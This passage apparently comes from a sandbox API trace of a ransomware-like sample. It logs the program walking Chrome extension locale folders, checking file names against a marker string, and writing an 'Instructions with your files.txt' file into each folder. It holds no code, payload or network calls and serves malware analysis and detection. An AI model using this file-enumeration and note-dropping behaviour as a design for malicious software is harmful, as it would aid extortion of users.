[0130.118] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.118] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\..") returned 147
[0130.118] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.118] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 158
[0130.118] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.118] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.118] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\Instructions with your files.txt") returned 177
[0130.119] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.119] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.120] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.120] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.120] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.120] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.120] CloseHandle (hObject=0x134) returned 1
[0130.120] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.120] GetProcessHeap () returned 0x810000
[0130.120] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.120] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
[0130.120] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT") returned 144
[0130.120] GetProcessHeap () returned 0x810000
[0130.120] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.120] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*") returned 146
[0130.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.121] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\.") returned 146
[0130.121] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.121] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\..") returned 147
[0130.121] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.121] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 158
[0130.121] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.121] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.121] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\Instructions with your files.txt") returned 177
[0130.121] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.121] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.122] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.122] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.122] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.122] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.123] CloseHandle (hObject=0x134) returned 1
[0130.123] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.123] GetProcessHeap () returned 0x810000
[0130.123] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.123] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
[0130.123] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro") returned 141
[0130.123] GetProcessHeap () returned 0x810000
[0130.123] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.123] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*") returned 143
[0130.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.123] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\.") returned 143
[0130.123] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.123] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\..") returned 144
[0130.123] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.123] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 155
[0130.123] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.123] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.123] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\Instructions with your files.txt") returned 174
[0130.124] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.124] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.125] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.125] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.125] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.125] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.125] CloseHandle (hObject=0x134) returned 1
[0130.125] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.125] GetProcessHeap () returned 0x810000
[0130.125] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.125] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
[0130.125] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru") returned 141
[0130.125] GetProcessHeap () returned 0x810000
[0130.125] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.125] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*") returned 143
[0130.125] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.126] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\.") returned 143
[0130.126] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.126] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\..") returned 144
[0130.126] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.126] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 155
[0130.126] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.126] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.126] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\Instructions with your files.txt") returned 174
[0130.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.126] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.128] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.128] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
